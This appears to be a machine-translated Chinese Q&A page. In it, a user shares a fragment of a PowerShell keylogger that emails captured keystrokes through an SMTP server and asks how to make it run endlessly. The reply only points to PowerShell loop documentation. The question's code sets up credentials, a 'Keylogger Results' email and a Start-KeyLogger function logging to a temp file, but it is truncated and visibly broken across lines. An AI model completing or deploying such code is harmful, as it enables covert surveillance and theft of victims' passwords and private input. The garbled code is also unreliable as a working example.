我有一个用于Powershell的键盘记录程序,可以将日志发送到电子邮件,它可以正常工作,但是只发送一次日志,然后他停止工作。 如何使它像一个无休止的循环?
TimesToRun = 2
$RunTimeP = 1
$From = "USER1@mail.com"
$Pass = "Pa$$w0rd"
$To = "USER2@mail.com"
$Subject = "Keylogger Results"
$body = "Keylogger Results"
$SMTPServer = "smtp.mail.com"
$SMTPPort = "587"
$credentials = new-object
Management.Automation.PSCredential
$From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
$TimeStart = Get-Date
$TimeEnd = $timeStart.addminutes($RunTimeP)
l
function Start-
KeyLogger($Path="$env:temp\keylogger.txt")
答案 0 :(得分:0)
我将其放在此处,因为注释部分的时间太长了。
这是While循环的用例。这也不是PowerShell的唯一或局限性。
循环是所有编程语言中的标准用例,并且是有据可查的东西。
有内置的帮助使您前进。
Get-Help about_Foreach
Get-Help about_For
Get-Help about_While
Get-Help about_do
PowerShell循环
https://social.technet.microsoft.com/wiki/contents/articles/4542.powershell-loops.aspx
您必须决定使用哪种,因为每个都有其特点和影响。